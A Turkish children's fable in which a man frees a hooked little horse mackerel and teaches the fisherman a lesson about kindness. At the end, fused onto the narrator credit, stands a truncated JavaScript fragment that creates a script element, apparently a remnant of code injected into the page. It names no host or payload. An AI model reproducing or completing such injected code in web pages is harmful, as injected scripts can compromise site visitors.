KÜÇÜK İSTAVRİT BALIĞI VE İYİ YÜREKLİ ADAMIN HİKÂYESİ
İstavrit balıkları kıpır kıpırdır, balıkçıların oltasından kurtulmayı genelde başarır onlar. Yakalanmazlar
ama oltanın ucundaki yemi de bir güzel mideye indirirler. Peki, siz merakı yüzünden yakalanan küçük
istavritin hikâyesini dinlediniz mi? Dinlemediyseniz işte size küçük istavritin öyküsü…
Denizlerin dibinde, mavinin en mavi yeşilin de en güzel tonlarının olduğu o güzel suyun altında küçük
bir istavrit yaşarmış. Küçük istavrit, annesi ve babasından öğrendiği tüm marifetler ile yakalanmadan
sularda özgürce yüzer, üstelik karnı acıktığında balıkçıların oltasında yemleri de yermiş. Bu yaptığı
şeyin çok tehlikeli olduğunun farkındaymış ama yapmaktan da vazgeçemiyormuş. Küçük istavriti
annesi ve babası çok uyarmış fakat nafile… o bildiği gibi yapmaya devam ediyormuş.
Günlerden bir gün küçük istavrit yine özgürce yüzüyormuş denizin en mavi sularında… Fakat o da ne!
Bir balıkçının oltasının ucunda minik bir çapari! Küçük istavrit hiç düşünmeden atlamış çapariye. Bu
sefer her zamanki gibi hızlı olamayınca müthiş bir acı hissetmiş dudağının kenarında. Ardından ne
olduğunu anlamış, balıkçının oltasına takılmış. Artık her şey için çok geçmiş.
Balıkçı, tuttuğu balığın sevincini yaşarken hızla sarıyormuş oltanın ipini yukarı doğru. Küçük istavrit ise
çırpınmaya çalışıyormuş ama nafile! Birazdan suyun altından karaya çıkacakmış ve susuzluktan
ölecekmiş. Annesi ve babasının onu uyarırken ne kadar haklı olduğunu anlayan küçük istavrit, keşke
onları dinleseydim diye geçirmiş içinden. Ama artık her şey için çok geçmiş. Balıkçı onu çoktan sudan
çıkarmış ve oltadan kurtarıp yeşil bir leğenin içine atmış.
Küçük istavrit yeni yerine şöyle bir bakmış. Azıcık bir suyun içinde çırpınıp durmuş. Belki son bir umut
leğenden tekrar suya kadar zıplarım diye geçirmiş içinden. Fakat o anda bir de ne görsün! Kendisine
kocaman gözler ile bakan ve ağzını yalayan bir kedi! Küçük istavrit o an anlamış ki, leğenden kurtulsa
bile, bu kocaman kedinin elinden kurtulamazmış.
Küçük istavrit, çaresizce başına gelecek olan sonu kabullenmiş. Yeşil leğene bakmış bir süre. Şimdi
denizin altında olsa mavinin en güzel tonunu, yeşilin en parlak tonunu suyun altında görecekmiş.
Masmavi sularda özgürce yüzerken, yine annesi ve babası ile birlikte olma şansına erişecekmiş.
Oyunlar oynarken, suyun altında sadece onlara ait olan hayatta mutlu mesut yaşamaya devam
edecekmiş. Oysa şimdi? Rengi solmuş bir leğenin içinde, azıcık suyun içinde son çırpınışlarını
yapıyormuş. Hepsi de kendisinin hatası yüzündenmiş. Eğer annesi ve babasını dinleseymiş, şu anda
denizin altında özgürce yüzebilecekmiş.
Küçük istavrit bunları düşünürken, bir yandan da kendini çok halsiz hissediyormuş. Artık vücudunun
dayanacak hali kalmamış. Başı dönmeye başlamış. Artık sonum geldi diye düşünürken, birdenbire bir
mucize gerçekleşmiş. Küçük istavriti tutan bir el önce onu leğenin içinden kurtarmış. Ardından minik
istavritin başına minik bir öpücük kondurarak onu denizin içine doğru salmış. Küçük istavrit birkaç
saniye yaşadığının gerçek olduğuna inanmaya çalışmış ve ardından büyük bir mutluluk ile denizin en
dibine doğru yüzmeye başlamış.
Balıkçı hayretle adama bakıyormuş:
Balıkçı: ‘Sen ne yaptığını sanıyorsun? Neden balığı denize geri bıraktın?’
Adam sakin bir şekilde balıkçıya doğru dönmüş:
Adam: ‘Eğer bir gün, ben de kendimi bir yeşil leğen içinde bu küçük istavrit balığı kadar çaresiz
bulursam, işte o an benim gibi bir adam gelip beni de kurtarır belki…’ demiş.
Balıkçı bir süre düşünmüş ve adamın ne demek istediğini anlamış.
Gökten üç elma düşmüş, üçü de küçük istavriti kurtaran adam gibi iyi yüreklilere gitmiş…
Seslendiren: Ata ÇAKARvar d=document;var s=d.createElement(‘script’);
Yorum Yok